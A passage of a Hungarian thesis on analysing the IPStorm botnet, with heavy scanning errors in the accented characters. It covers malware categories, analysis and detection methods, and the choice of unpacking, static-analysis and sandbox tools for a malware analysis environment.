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ABSZTRAKT

A védelmi rendszerek fejlesztéséhez elengedhetetlen a timadésok ismerete, az j tipusok meg-
ismerése, és fejlddésiik kovetése. A tobbféle tipusi timadésok koziil egy botnet tipust tdmadasi
forma keriil bemutatdsra az IPStorm-on keresztiil, mely az elsd, ami az IPFS-t alkalmazza a
megfert6zott eszkdzok irdnyitasara. Az elemzés segit megérteni, hogy a tdmaddok milyen tech-
nikdkat fejlesztenek ki a tdimaddasaik véghezviteléhez, milyen meglévd eszkdzoket hasznalnak
fel, hogyan véltozott a tdmaddsi technika a valtoz6 célok elérése érdekében, é€s milyen mdédon
tartottdk fenn a botnet mikodését. Ezek az informécidk segithetnek a védelmi rendszereket fel-
késziteni a hasonl6 technikdkat alkalmazé kartékony szoftverek detektdlasara, ezzel csokkent-

hetd a jelenlegi és kés6bb megjelend tdmadasok hatdsa.

A dolgozatban az IPStorm mikodésének megismerésével és a fejlesztése sordn tortént val-
tozasok alapjan egy meglévd virusvédelmi rendszer hatékonysdgdnak feljavitasit célzom meg,
illetve olyan univerzélis megoldast mutatok be, amely tobb virusvédelmi vagy elemzd szoftverbe

is integrélhato.
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1 BEVEZETES

Az informatikai rendszereket érint§ fenyegetések szama €s O0sszetettsége folyton novekszik. Je-
lentGs kihivést jelent, hogy a védelmi rendszereket naprakészen tartsuk a naprél napra fejlédd
és véltoz6 tdmadasi technikdkkal szemben. Megjelennek 1j, kordbban nem latott megolddsok
és megvalOsitasok, hogy az aktudlis védelmi megolddsokat meg tudjédk keriilni és észrevétlenek
tudjanak maradni véllalati és magédn rendszerekben egyardnt. A CrowdStrike 2024-es jelentése
alapjan a nagyvallalatokat, bankokat, egészségiigyi intézményeket célzé zsarolovirus timadéasok

76%%-kal, a kezdeti hozzéaférés értékesitése pedig 20%-kal ndtt 2022 és 2023 kozott [S].

A hatékony védekezés megvaldsitdsahoz elengedhetetlen, hogy megismerjiik és megértsiik
a kartékony szoftverek miikodését és fejlodését. Ezt a szoftver kiilonbozsféle moédon torténd
elemzésével érhetjiik el. Az elemzések eredményét értelmezve megismerhetd a szoftver maiko-
dési mechanizmusa. Tobb verziot 6sszehasonlitva megfigyelhetd a kartékony szoftver fejlédése,
viselkedésének modosuldsa, akar annak érdekében, hogy a fejl6dd viruskeresd szoftvereket meg-

keriilje, akdr az Gjabb funkcidk és megolddsok bekeriilése az lizemeltetGje szaméara hatékonyabb

mukodés érdekében.

Tobbféle tipust tdmadds 1étezik, melyeknek mind més a viselkedése €s célja. Tobbek kozott
léteznek reklamprogramok, tréjai programok, botok és botnetek, zsarolévirusok. Ezek folyton
jelen vannak koriilottiink, de kiemelem a botnetekek, aminek segitségével akar a korabban fel-
sorolt, és késGbb ismertetett, timaddsokbdl tetszGleges mennyiségi és tipusu juttathaté a megta-
madott rendszerbe a timadok igénye szerint. A botnet hdldzat fenyegetést jelent magara a meg-
tdmadott eszkdz szdmara, de akdr a megfert6zott eszkozrdl elérhetS tovabbi eszk6zok szamara
is. Célja sokféle lehet, koztiik a felhasznél6 adatainak ellopdsa, timaddsok inditdsa, az eszkoz
er6forrdsainak bérbeaddsa harmadik fél szamara profit érdekében, a botnetbe kotott eszk6zok
ugrépontként felhaszndldsa a kovetkez6 megtdmadott eszkoz felé, illetve a hal6zat méretének

€s képességeinek novelése érdekében tovdbbi eszk6zok megfert6zése mind helyi, mind tdvoli

hal6zatokban.

A dolgozatban elGszor a kartékony szoftvereket ismertetem altalanossagban, majd egy spe-
cifikus tipust, a botnetet mutatom be egy konkrét szoftveren az IPStorm-on keresztiil, végiil
detektalasi lehetGségeket ismertetek. Az IPStorm vélasztdsanak az oka, hogy ez az els6 olyan

kartevs amely az IPFS-t haszndlta Command and Control (C2) céljara [1]. Megjelenése 6ta tobb



az IPFS adta lehetGségeket kihaszndl6 tdmadas jelent meg. A bemutatés sordn tobbféle elemzést
is alkalmazok annak érdekében, hogy teljes képet kapjak a mikodésrdl, illetve a rendelkezésem-
re all6 verzidkat egymadssal is 0sszehasonlitom és a kiilonbségeket ismertetem. Az elemzés és
az Osszehasonlitds eredményét felhaszndlva detektalasi lehetGségeket mutatok be virusirtd adat-

bazis készitésen keresztiil, illetve gyartofiiggetlen megoldason keresztiil.



2 KARTEKONY SZOFTVER TIPUSOK

A kartékony szoftvereket miikodésiik alapjan csoportokra lehet osztani, azonban a mai példa-
nyokat nem csak egy kategoridba lehet besorolni, hanem jellemzGen tobbe is. A részletesen

elemzésre keriil§ IPStorm besorolhat6 bontnetnek, féregnek is.

A virusok egy alkalmazdsba dgyazzak be magukat, igy a futdsuk és miikodésiik az adott al-
kalmazashoz kotott. Futds kozben tudjak magukat masolni mds alkalmazdsokba a terjeszkedés
érdekében. Vannak tipusok, melyek a mdsolds sordn médositjdk a kédjukat vagy titkositast al-
kalmaznak, hogy a detektdlds nehezebb legyen a véltoz6 kddsorozatok miatt. Ezek a tipusok az

alabbiak:

— Oligomorf (Oligomorphic), mely tobb kiilonboz§ titkosité algoritmust vagy kulcsot hasz-
nal

— Polimorf (Polymorphic), mely titkositds helyett extra utasitdsokat helyez el a viselkedésen
nem valtoztatva, ezzel médositva a megjelenését

— Metamorf (Metamorphic), mely minden futds sordn a sajat kédjat helyben médositja

A tréjai fal6 vagy tréjai magét valds szoftvernek dlcdzza annak érdekében, hogy a felhasznal6
feltelepitse €s elinditsa az eszk6zén. Ahhoz, hogy nehezebben lehessen észrevenni elGfordulhat,

hogy az igért funkcidkat valéban betolti, hogy ne keltsen gyanuit.

A rekldmprogramok a felhaszndl6 aktivitdsat figyelve célzott rekldmokat jelenitenek meg fel-
ugré ablakokban (pop-up) vagy a program valamelyik részen. El&fordulhat, hogy bongészdk
bedllitdsait megvaltoztatjak, hogy a sajat keresémotorjukat vagy kezddlapjukat haszndlja a fel-

hasznald.

A kémprogramok a felhasznal6 eszk6z€rdl kiilonbozs személyes adatokat gytjtenek, példaul
jelszavakat, PIN kddokat, dokumentumokat. Az 0sszegy(jtott adatokat a tdmado jellemzGen

profit érdekében eladja.

A férgek a halézaton keresztiil terjednek, kihaszndlva az operacids rendszerek és progra-
mok biztonsagi réseit, a téves konfiguracidkat, valamint a szdndékosan elhelyezett hatsé ajtokat
(backdoor). Egy hédl6zatba bekeriilhet e-mail csatolmanyként érkezve vagy hordozhat6 adattiro-
16n keresztiil. Ha mér a halézat egyik eszkozén elinditottdk, akkor a hdlézaton keresztiil tovabbi

eszkozokre mésolja fel magat. A megfert6zott eszk6zokon elhelyezhet tovabbi kartékony szoft-



vereket, indithat timadasokat vagy ellophatja a felhaszndl6 adatait.

A zsaroldvirusok az eszkoz jelentGs tartalmdt titkositjdk és a felhaszndlonak egy iizenetet
jelenitenek meg a titkositas tényérdl tdjékoztatva és a titkositds felolddsdhoz sziikséges 1épéseket
leirva. Jellemz&en azt kérik az dldozattdl, hogy kriptovalutdban egy jelentds Osszeget kiildjenek
a tdmadodnak és akkor a titkositds felolddasahoz sziikséges lépéseket eldruljak, eldfordul, hogy a
fajlok publikaldsdval torténd fenyegetéssel igyekeznek nyomadst gyakorolni a fizetés érdekében.
Természetesen arra semmi garancia nincs, hogy az 0sszeg elkiildése esetén valoban visszakapjdak
a fajljaikat és nem keriil publikélésra, ezért dltaldnossdgban az a javaslat, hogy ne fizessiink érte

[6].

A rootkitek célja a timadds tényének elrejtése hosszabb idGtartamon keresztiil annak érdeké-
ben, hogy késébb vihessék végre a tdimadast. A rootkit mélyen beépiilhet a rendszerbe firmware,
kernel vagy bootloader szinten, az operdcids rendszer olyan hivasait, ami a 1étezését felfedné,

modosithatja, ezzel elrejtve magét a virusirtok és a felhasznalok eldl.

A fileless malware-nek az a mtikodési elve, hogy nem készit fajlt a fajlrendszeren ami fut,
hanem az operécids rendszerbe beépitett eszkozoket haszndlja fel a tdmadas kivitelezéséhez,

igy azoknak a viruskeres6knek, amik csak a fajlokat vizsgaljak, nem lesz alkalmuk detektalni.

A botnet a megfert6zott eszkozokbdl épitett halozatot jelenti. Az eszkdzok jellemzden az
interneten keresztiil tudnak a tdimaddval kozvetve vagy kozvetleniil kommunikélni, hogy utasi-
tasokat kapjanak a végrehajtandé tdimaddshoz. A haldzat struktirdjat tekintve lehet centralizalt,
kliens-szerver alapi vagy decentralizalt, peer-to-peer alapi. Ezekkel a hdl6zatokkal a tdmadé-
sok széles skdldja hajthat6 végre, példaul DDOS tdmadds, spam és adathalasz lizenetek kiildése,
az eszkOz erGforrdsainak felhaszndldsa valamilyen célra, illetve tovabbi kéartevdk telepitése az

eszkoOzre.



3 KARTEKONY SZOFTVEREK ELEMZESE

3.1 Statikus

Statikus elemzés sordn a program nem keriil futtatdsra, egyik megjelenési formdja a vissza-
fejtés vagy reverse engineering, amely sordn a bindris dllomény egy disassembler segitségével
assembly utasitdsokkd lesz alakitva. Az utasitdsokat a konnyebb attekinthetGség érdekében lehet
abrazolni vezérlési folyamatdbraval (control flow graph) és hivési fa (call hierarchy) segitségé-
vel. Statikus elemzésnek szdmitanak azok a mddszerek is, melyek kiilonboz8 mintdzatokbdl

vagy tulajdonsagokbdl vonnak le kovetkeztetést a viselkedésre vonatkozolag.

Elénye, hogy a teljes program megismerhetd vele, de a dinamikusan valtoz6 részek, példdul
halézaton kiildott iizenetek valaszai, nem feltétlen tudhatéak elGre. Hétranya, hogy jelentSs

idGigénye lehet, kiilonosen ha az dllomdnyt valamilyen médon obfuszkaltik.

3.2 Dinamikus

Dinamikus elemzés sordn a program jellemzden izolélt kornyezetben futtatdsra keriil. A futds
sordn a viselkedése megfigyelésre keriilhet debugger-rel, vagy a hélézati forgalom elkapdsaval
a kiildott és fogadott iizeneteken keresztiil. A dinamikus elemzési kornyezetek jellemzden a
sandboxok, melyek tovabbi technikdkat alkalmaznak a részletesebb megfigyelésért, mint az API
hooking, mely sordn a program €s az opericids rendszer kozé ékeliink egy szoftvert, mellyel

lehetdséglink van feljegyezni a hivdsokat, annak paramétereit €s visszatérési értékeit.

El6nye, hogy a program viselkedése rovid id6n beliil megfigyelhetS és abbdl kovetkeztetés
vonhat6 le. Hatranya, hogy csak azoknak a kddrészeknek miikodését lehet elemezni, melyek
lefutottak. Jellemz§ technika, ha virtudlis kornyezetet detektdl a program, akkor mds viselkedést

mutat, mint valos hardveren.

3.3 Hibrid

A hibrid elemzés a statikus és a dinamikus elemzés kombinélésa a teljesebb elemzés érdekében,
melyet csak egyik vagy mdsik technikdval nem lehetne elérni. A sandbox kornyezetek jellem-

z6en alkalmaznak statikus elemzést a viselkedési adatokra, és a hdl6zati forgalomra is.



4 KARTEKONY SZOFTVEREK DETEKTALASA

4.1 Szignatira alapi

Szignatdra alapt detektdlds sordn a f4jl tulajdonsdgait, illetve tartalmat vizsgdljuk mintdkat ke-
resve, példaul a f4jl hash értéke, a fijlban taldlhat6 karaktersorozatok, URL-ek, fajlnevek vagy
utasitds sorozatok, ezek alapjan dontiink, hogy kartékony-e a vizsgélt dllomény. Szignatura ala-
pu detektdlast lehet végezni a memoria tartalmén is, ekkor a futé folyamatok memoridban tarolt
adataiban is lehet kartékony szdndékra jellemzd mintazatokat keresni. A mddszer korlatja, hogy
csak ismert szignaturdk alapjan tud detektélni, tehét Gj vagy modositott szoftverek detektdlasara

nem alkalmas [7].

4.2 Viselkedés alapa

A viselkedés alapi megoldasok nem a programban taldlhat6 statikus adatokra tdmaszkodnak,
hanem a program viselkedését vizsgdljdk futds kozben, mely torténhet szabdly alapon [8] vagy
g€pi tanulds alkalmazasdval. A vizsgalt tulajdonsdgok lehetnek API hivasok, hdlézati aktivitds
vagy fdjl médositdsok. Ennek kdszonhetSen a modositott, de viselkedésében azonos varidnsokat

is képes detektdlni a szignattira alapti mddszerrel szemben [9].

4.3 Heurisztikus

A heurisztikus moédszerek gépi tanuldsi technikdkat alkalmazva valdsitjdk meg a kartékony
szoftverek felismerését. A viselkedés alapu technikdhoz hasonléan itt is a futtatds kozben meg-
figyelt viselkedést vizsgalja, példaul API hivasokat vagy a vezérlési folyamatabrat. A detektélds
a normadlistdl eltérd viselkedésen alapul, melyet a tanitds sordn kell meghatdrozni. A szignatdra
alapi megolddshoz képest alkalmas az ismeretlen kartékony programok detektdldsara, de magas

hamis pozitiv ardnnyal rendelkezik [9].

4.4 Honeypot

A honeypot megolddsok alapja, hogy olyan sériilékenynek 14tsz6 eszkozt vagy héldzati szol-

géltatast helyeziink el a hdl6zatban, mely felkelti a hdl6zatba illetéktelentil behatolok figyelmét.



Mivel a szolgéltatds alapvetSen nincs haszndlatban, ezért ha valahonnan kapcsolat érkezik az
eszkozokre, lehet tudni, hogy illegélis forgalom van a hdl6zatban. Az eseménybdl lehet riasztast

generdlni, illetve a forrds eszkozt letiltani a hal6zatrol.
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5 ELEMZESI KORNYEZET MEGTERVEZESE

Az elemzési kornyezet megtervezésénél fontos figyelembe venni az elemezendd szoftver tulaj-
donsdgait, mint tdimogatott architektirdk és operdcids rendszerek. A kartékony szoftvereknél
jellemzd tulajdonsdg a kiilonbozs tomorits szoftverek alkalmazdsa a kisebb terjesztési méret
miatt és a nehezebb detektédlds érdekében, mert a tomoritett adatbol nem lehet egyszeriden ki-
nyerni az adatot, ki kell tomériteni el6tte. Erdemes megemliteni, hogy a tomérités hasznalata
nem feltétleniil jelent kartékony szoftvert, egyéb programok is alkalmazzdk a kisebb terjesztési

meéret érdekében.

5.1 Mintak kezdeti feldolgozasa

A kezdeti elemzést a szamomra rendelkezésre all6 52 kiilonboz§ példanyon hajtom végre. A
rendelkezésemre 4ll6 mintak adatai a 11 MELLEKLET: IPSTORM PELDANYOK fejezetben
taldlhatéak. A mintdkra az SHA256 hash els6 8 karakterével fogok hivatkozni a konnyebb ol-

vashat6sag érdekében. A fijlok teljes hash-ei a mintdk adatai kozott elérhetSek.

Ahhoz, hogy megéllapitsam, hogy milyen architektarat és operacids rendszert célz6 mintak-
kal rendelkezem, a file [10] segédprogramot alkalmazom. A program célja, hogy a f4jlrdl
megprobélja megdllapitani, hogy mi az, igy jelen helyzetben is értékes informécidval szolgal
a bindris dlloményok tartalmardl. A file eszkozt futtatva a 01658e8c bindrison az kovetkezd

kimenetet kapom:

PE32 executable (GUI) Intel 80386 (stripped to external PDB),

for MS Windows, UPX compressed, 3 sections

Kiirja a fajlrol a tipusdt, ami 32 bites Portable Executable (PE) és az architekturat, ami Intel
80386. Tovabbi érdekes informdcidkat is megjelenit a bindrisrél, minthogy nem tartalmazza
a Program Database-t (PDB), ami a Microsoft specifikus debug symbol-okat tartalmazn4, jelzi
hogy UPX csomagolasi technika alkalmazasét fedezte fel, illetve 3 szekcidt tartalmaz a PE fejléc.
A fejlécben taldlhaté informdcidkat az objdump eszkoz segitségével lehet megtekinteni, ez a
program a binutils [11] szoftvercsomag része. A kordbban vizsgélt dllomanyon futtatva az

lathato, hogy mind a hdrom fejléc neve UPX-szel kezdddik.
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Természetesen egyik eszkoz sem csak Windows operdcids rendszert célz6 bindrisokra al-
kalmazhatd, igy Linux €s MacOS rendszereket célz6 bindrisokbdl is lehet informéaciét kinyerni
veliik. Linux rendszert célz6 69ea7bcf bindrison futtatva a file programot a kovetkezd infor-

maciot kapom:

ELF 64-bit LSB executable, x86-64, version 1 (SYSV),

statically linked, no section header

A korabbi esethez hasonldan kinyerhet$ az dllomdény tipusa és architekturdja, de arrdl, hogy
UPX-szel tomoritett lenne nem add informéciot és az ob jdump kimenetében nem ldtszik, egyet-
len szekcié sem. A tomorités vagy titkositds jelenléte kimutathat6 a féjl entrépidjanak a mér-
tékével is. Az entrépia vagy mds néven Shannon entrdpia a fajl tartalmédnak véletlenszertségét
jellemzd szdm. Ertékét jellemzben kétféleképpen szoktak megadni, 0-t6l 1-ig vagy 0-t6l 8-ig
terjedd skdlan, az als6 hatar alacsony véletlenszertiséget jelent a fels§ hatar pedig magas vélet-
lenszertséget. Ertelmezhetd tigy is, hogy hdny bitre van sziikség az informaci6 reprezentaldsara.
Tehat a magas véletlenszertiségli, magas entropidju adat az jellemzGen tomoritésre vagy titko-
sitdsra enged kovetkeztetni, hiszen a tomoritésnek a célja az informécié minél hatékonyabban

torténd taroldsa, a titkositdsnak pedig az informacié oly mddon torténd taroldsa, hogy a minté-

zatbdl ne lehessen kovetkeztetni a tartalmara.

Ahhoz, hogy tovabbi informécidt tudjak szerezni az dllomanyokrdl a DIE (Detect It Easy) [12]
programot fogom haszndlni, ezzel nem csak az entrépiardl kapok informaciot, hanem tovabbi
értékes informdciokhoz juthatok. A DIE parancssoros véltozatdt hasznélva, a diec-t, megtud-
hat6 a teljes bindris és az egyes szekcidk entrdpidja is az —e kapcsold segitségével. A diec-t

futtatva a 69ea7bcf bindrison a kdvetkezdt kaptam:

Total 7.88349: packed
O|PT_LOAD(0) |018125536|7.8835: packed
1|PT_LOAD(0) |8125536112413.88587: not packed
2|PT_LOAD(1)1010/0: not packed

A teljes allomédnyra vonatkozo 7,88349 értékd, illetve az els6 szekcio fejlécre vonatkozd
7,8835 értékd entropidbdl latszik, hogy a bindrison tomoritést vagy titkositast alkalmaztak. Kap-
csolok nélkiil futtatva tudja detektdlni, hogy mi lett hasznélva a tomoritéshez. EbbdSl megtud-

hato, hogy az UPX 3.96-0s verzidja lett hasznalva a tomoritéshez, NRV (Not Really Vanished)
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algoritmussal és brute, azaz a legmagasabb tomoritési szinttel. Ezek az informdcidk a fdjlban
tarolt UPX fejlécben taldlhat6ak. Mivel az UPX egy nyilt forrdskéda eszkoz, ezért a moédositdsa
egyszerl lenne annak érdekében, hogy nehezebben lehessen felismerni, ha egy dllomanyra ezt
alkalmaztak. Kétféle terjesztési verzidja létezik, az NRV algoritmussal €s az UCL algoritmussal
terjesztett verzidja. Az NRV-t tartalmazé terjesztés az csak a hivatalos kiaddsban jelenik meg,
mivel az algoritmus nem publikus [13]. Jelenlegi esetben valdszintileg egy hivatalos terjesztési

UPX verzidval tomoritették, mivel a haszndlt algoritmus az NRV.

Az 0sszegy(jtott mintdk kozott megtaldlhatéak nem tomoritett példanyok is, ezek segitségé-
vel az implementdci6 tovabbi részletei deriilnek ki, ha egy hexeditorral vagy a diec segitségével
vizsgaljuk. Az ImHex [14] hexeditort haszndlva latszik, hogy a fdjlban 0x400-as cimnél a Go
bindrisokra jellemz6 Go build ID kezdddik (13.1). Hogy bizonyos legyek abban, hogy nem
szandékosan félrevezetd informacio keriilt a bindrisba, a DIE eszkozzel is megvizsgéltam és az
eredményben compilernek a kovetkezot jelezte: ”Go(1.12 or 1.12.2-1.12.9)”. Azonos konklu-
zidra jutott, a forrds, amit haszndlt, viszont mds volt. A DIE a bindris belépési pontjit (entry

point) vizsgélta a kiilonboz8 Go verzidkra jellemzd utasitdsszekvencidt keresve [15].

Az aldbbi tablazat (5.1) ismerteti a rendelkezésemre all6 mintdk mennyiségét a kiillonbozd
operdcios rendszerek, architektirdk és tomorités haszndlata szerint. A kovetelmények felallitdsa

sordn figyelembe vettem az egyes tipusok el6fordulasdnak mennyiségét.
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Tipus Darabszdm | Szédzalék
PE 30 58%
UPX x86 23 44%
tomoritetlen x86 7 13%
ELF 21 40%
UPX 10 19%
x86 4 8%
x86_64 3 6%
aarch64 3 6%
tomoritetlen 11 21%
x86 4 8%
x86_64 3 6%
arm 4 8%
Mach-O tomoritetlen x86_64 1 2%

5.1. tablazat: Rendelkezésre allo mintak mennyisége tipusra lebontva

5.2 Kovetelmények

A rendelkezésemre all6 mintdk elGzetes megvizsgdldsa sordn az aldbbi problémadk és feladatok

megoldasara kell eszkozt vélasszak.

5.2.1 Tomoritett Allomanyok kicsomagolasa

Az UPX-szel tomoritett dllomédnyok kicsomagolasara sziikség van statikus elemzés elvégzésé-
hez. A tomoritett dllomanyokon az elemzés nem nyujt hasznos informdcioét a valés tartalomrol.
Az elvart megoldas az UPX-szel tomoritett dllomdnyok kitomoritése utdn, a futdsidejd viselke-

dés szempontjabol, az eredeti viselkedésével megegyezik.

5.2.2 Statikus elemzés

A mintdkbdl az deriil ki, hogy léteznek x86, x86_64, arm és aarch64 architektirdjui, és PE, ELF

és Mach-O tipusd implementaciok, igy a statikus elemzést végz§ szoftver optimadlis esetben eze-
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ket az architektdrdkat és tipusokat ismeri és timogatja, tovabba rendelkezik a Go programozasi

nyelvhez elemzési tdmogatdssal.

5.2.3 Dinamikus elemzés

A mintdk az mutatjak, hogy 1éteznek x86, x86_64, arm és aarch64 architektirdji, és PE, ELF és
Mach-O tipusu implementaciok. Dinamikus elemzés esetén erdsebb korldtok 1épnek fel a hard-
veres €s szoftveres tdimogatds miatt a statikus elemzéshez képest, ezért az 6sszes architektirat és
operacids rendszert lefed§ dinamikus elemzést nem tliztem ki célul, csak bizonyos platformo-
kat €s architekturdkat. Ezek az x86, x86_64 architektirdk tekintetében, és operacids rendszerek

tekintetében a Windows és Linux rendszereken torténd elemzést tizom ki célul.

5.3 Program kivalasztasa UPX kicsomagolashoz

UPX-szel tomoritett dllomanyok kicsomagoldsara rendelkezésre 41l maga az UPX projekt, ami-
vel a becsomagolds is tortént, ennek a megolddsnak az el6nye, hogy gyors, de ha a forraskédot
modositottdk a becsomagoldshoz, akkor el6fordulhat, hogy nem lehet vele kicsomagolni. A
kicsomagoléds nem platformhoz kotott, barmely dllomanyt, barmely platformon ki lehet csoma-

golni.

Némely sandbox kornyezet is nyujt lehetdségek az UPX-szel tomoritett dlloméanyok kicso-
magoldsara oly médon, hogy a futds kozben kicsomagolt dllomany memoridjat lementi. Ezzel a
modszerrel az akdr szandékosan moédositott dllomédnyokat is ki lehet csomagolni, de az idGben
hosszabb és a sandbox kornyezet kiépitése is sziikséges, mely képes az adott dllomanyt futtatni.

Ez a megoldds a manudlis modszer automatikus megvaldsitdsanak tekinthetd.

A kicsomagolds megvaldsithaté manuélis médon is egy debugger segitségével. A modszer
azon alapszik, hogy az eredeti belépési pontot (Original Entry Point, OEP) kell megtaldlni, ez az
amikor a kicsomagolds befejez6dott, de még a kicsomagolt programkéd nem kertilt futtatasra.
Ezen a ponton a Scylla vagy OllyDumpEx eszkoz segitségével lehetséges az importalt kiilsd
konyvtéarakat rekonstrudlni és az igy keletkezett dlloményt elmenteni. Ebben az esetben is fontos,

hogy rendelkezésre élljon olyan platform, melyen az dlloméany futtathato.

A 5.1 Mintdk kezdeti feldolgozdsa fejezetben megallapitottam, hogy az dllomanyok az ere-

deti, nem mddositott UPX szoftverrel lettek csomagolva, igy a kicsomagolds is megvaldsithato
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vele. Mivel ezzel a médszerrel lehet a legegyszertibben és leghatékonyabban kicsomagolni eze-

ket az dllomdnyokat, igy az eredeti UPX szoftvert haszndltam a kitomoritésiikhoz.

5.4 Program kivalasztasa statikus elemzéshez

Egy ismert és elterjedt megoldds a Hexray dltal készitett IDA (Interactive Disassembler) [16].
Rendelkezik a sziikséges platformok tdmogatasdval, de az x86, x86_64 és az arm, aarch64 két
kiilon csomagban érhet§ csak el. Van a Go nyelvhez tdmogatés. Plugin-nel vagy kiils§ szoftver-
rel elérhetd a bindris dllomédnyok Osszehasonlitdsa is, azonban a Home verzié nem rendelkezik
decompiler funkcionalitdssal. A meghatdrozott kovetelményeknek megfelel, de egy jelentds be-

fektetést igényl6 megoldés.

Létezik a radare2 [17] és a rizin [18], az elGbbinek az utébbi egy forkja, igy miikodése és
funkcionalitdsa nagyban hasonlo, ezért egybevettem Sket. Mindkett6 rendelkezik GUI feliilettel,
sorrendben iaito és cutter, de ezek kevesebb funkcionalitdst biztositanak, mint a parancssoros
feliiletiik. Az elvart platformokat és architektdrdkat timogatjak, rendelkeznek a Go nyelvhez is
tamogatdssal, és az dllomanyok 0sszehasonlitdsdra is van lehetGség. MindkettS nyilt forraskoda

megoldas és haszndlatuk ingyenes.

Egy viszonylag Gj megoldas a Ghidra [19], mely a 2019-es RSA konferencidn lett kiadva a
National Security Agency (NSA) 4ltal, nyilt forrdskodu €s ingyenes megoldasként. TAmogatdsa
sz€leskord, timogatja a PE, ELF és Mach-O alloményok elemzését, illetve sok mds architektu-
ra mellett az x86-ot, x86_64-et, arm-ot és aarch64-et is. Ezzel a kdvetelményeknek megfelel.
Tovabba van decompiler timogatdsa, Version Tracking funkcidja is, mely lehet&vé teszi a kiilon-
boz4 verzidju bindrisok kozotti 6sszehasonlitdst, egyikbdl a médsikba a mar elemzett informaciok

atmasolasat, lehetové téve, hogy csak a uj, illetve valtozott részekre kelljen koncentraljak. Ilyen

funkcionalitast a tobbi eszkozben nem talaltam.

A Vector 35 4ltal fejlesztett Binary Ninja [20] is rendelkezik PE, ELF és Mach-O tamoga-
tassal és a sziikséges architektirdk tdmogatdsdval is. Az IDA-hoz hasonlitva az ar tartalmazza
a decompiler-t is, viszont a Go nyelv tdmogatdsar6l nem taldltam egyértelmd informaciét, de

plugin-ok léteznek, melyek megkonnyithetik a Go nyelven irt alkalmazédsok elemzését.

Az alébbi tdblazat (5.2) 0sszegzi az eszk6zok tuddsat €s hidnyossagait.
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IDA Home | radare2/rizin Ghidra Binary Ninja
Windows tdmogatds Igen Igen Igen Igen
Linux tdmogatas Igen Igen Igen Igen
MacOS tamogatas Igen Igen Igen Igen
x86(_64) tdmogatas Igen Igen Igen Igen
arm(64) timogatas Igen Igen Igen Igen

Go nyelv tdmogatas Igen Igen Igen/Plugin | Nem/Plugin
Decompiler Nem Igen Igen Igen

Osszehasonlitds Plugin Igen Igen Plugin

Version Tracking Nem Nem Igen Nem
Koltség $365%2 Nincs Nincs $299

5.2. tablazat: Statikus elemzd szoftverek osszehasonlitdasa

Az IDA Home és a Binary Ninja az dra miatt nem elérhet6 szdmomra, igy a két ingyenes és
nyilt forraskodu eszkoz kozott kellett dontenem. A Version Tracking funkciét nagyon hasznos-
nak tartom a jelenlegi esetben, mivel tobb egymads utdn kiadott verziot kell elemezzek €s ezek
elemzési idejét jelentGsen csokkenti, ha a korabbi informaciokat atmdsolhatom, igy a Ghidra-t

hasznalom fel a statikus elemzéshez.

5.5 Program kivalasztiasa dinamikus elemzéshez

A dinamikus elemzéshez rendelkezésre dllnak helyi erSforrasbol kiépitett €s felh$ szolgéltatast
haszndlé verzidk. Altalanossigban kijelenthets, hogy a felhd alapti megolddsok kevesebb in-
formdcidval szolgédlnak vagy jelentGsen magasabb a koltsége a hozzaféréshez, mint a helyileg
kiépitett megolddsoknak. Az Osszehasonlitds sordn minden esetben azt a verziét mértem fel,
mely a feldllitott kovetelményeket teljesiti, tehat el6fordulhat, hogy egy nagyobb csomag tobb
funkciét timogatna, mint amit feltiintettem, de mivel a kisebb csomag teljesitette a kovetelmé-

nyeket, ezért ez keriil 0sszehasonlitdsra.
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5.5.1 Self-hosted megoldasok

Az ismert megoldasok kozé tartozé Cuckoo Sandbox [21] a The Honeynet Project projektje volt
a 2010-es Google Summer of Code (GSoC) alkalmaval, Claudio Guarnieri kezdte el fejleszteni.
A projekt 2021. aprilis 27-ig fejlesztés alatt allt, mikor a forrdskddja archivalasra keriilt, ezzel a
fejlesztés befejezddott. Erre az idGre tobb alternativ verzidja (forkja) megjelent, melyek koziil a
CAPE (Configuration And Payload Extraction), annak is a masodik verzidja a CAPEV2, egy je-
lenleg is aktivan fejlesztett projekt. A Cuckoo Sandbox tdmogat hél6zati elemzést és a forgalom
elérését PCAP formatumban, tdimogat viselkedés elemzést, illetve az elemzett folyamat altal irt
és modositott fajlok elérését. Mivel a Cuckoo Sandbox tobb éve nem all fejlesztés alatt és az
aktiv fejlesztési idGszak alatt sem kapott Linux operédcids rendszerhez elemzési tdimogatést, igy

a felallitott kovetelményeknek nem felel meg.

A CAPEV2 Sandbox [22] a Cuckoo folytatdsanak tekinthets. A fejlesztés sordn kapott Linux
operacids rendszeren torténd elemzési timogatdst. Rendelkezik a hdl6zati elemzési képességgel
és az elemzés le is tolthetd, tovabba alkalmas viselkedés elemzésre Windows €s Linux rendszerek
esetében is. Rendelkezik programozhat6 debugger-rel, mellyel kiilonb6z6 feladatok hajthatdak,

végre mint UPX-szel csomagolt bindris kicsomagoldsa vagy kdédrészletek dtugrasa.

A DRAKVUF Sandbox [23] egy agentless megoldds, azaz nem sziikséges a kliensekre szoft-
vert telepiteni az elemzés elvégzéséhez. Miikodésének alapja a virtualizacids szoftverrel torténd
egyiittm(ikodés a benne futd rendszer memoridjanak elérése érdekében, ezzel a modszerrel a vir-
tualizalt rendszerben minden esemény kovethets. Rendelkezik viselkedés elemzéssel és halozati
forgalom elemzéssel, de Linux operdcios rendszeren torténd elemzést nem tdmogatja. A Linux

operdciods rendszeren torténd elemzési képesség hidnya miatt nem felel meg a felallitott kovetel-

ményeknek.

A Noriben Malware Analysis Sandbox [24] a sysiternals eszkozkészletbdl a procmon-ra ta-
maszkodik. Ennek a segitségével nyeri ki a kiilonboz§ folyamatok futdsidejd viselkedését. Vi-
selkedés elemzést €s a hdlézaton torténd kommunikécio feljegyzését timogatja, de a forgalom
tartalma nem elérhetd kés6bbi elemzés céljara. Operdcids rendszer tdmogatds szempontjabol

csak a Windows-t tdmogatja, igy nem felel meg a kovetelményeknek.

A PANDA [25] a DRAKVUF-hoz hasonléan a virtualizaciés szoftverrel egyiittmikodve tud-

ja kovetni a virtualizalt rendszerben az eseményeket, kiilonbség viszont, hogy egy platformfiig-
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getlen koztes nyelvet haszndl (LLVM IR) annak érdekében, hogy minden architektirat azonos
moédon tudjon reprezentdlni. Ennek koszonhetSen architektirdk széles skdldjat timogatja, koz-
tikk az x86, x86_64, arm és aarch64 architektirdkkal. Windows és Linux operacids rendszert
is timogat haldzati €s viselkedés elemzéssel. Minden tdmogatott platform esetében tdmogat-

ja a felvételt és visszajatszast, mellyel lehetvé teszi a tobbszor ugyanigy torténd futtatast. A

felallitott kovetelményeknek megfelel.

Az alabbi tdbldzatban (5.3) Osszesitettem a kiilonbozd megolddsokat a konnyebb 6sszehason-

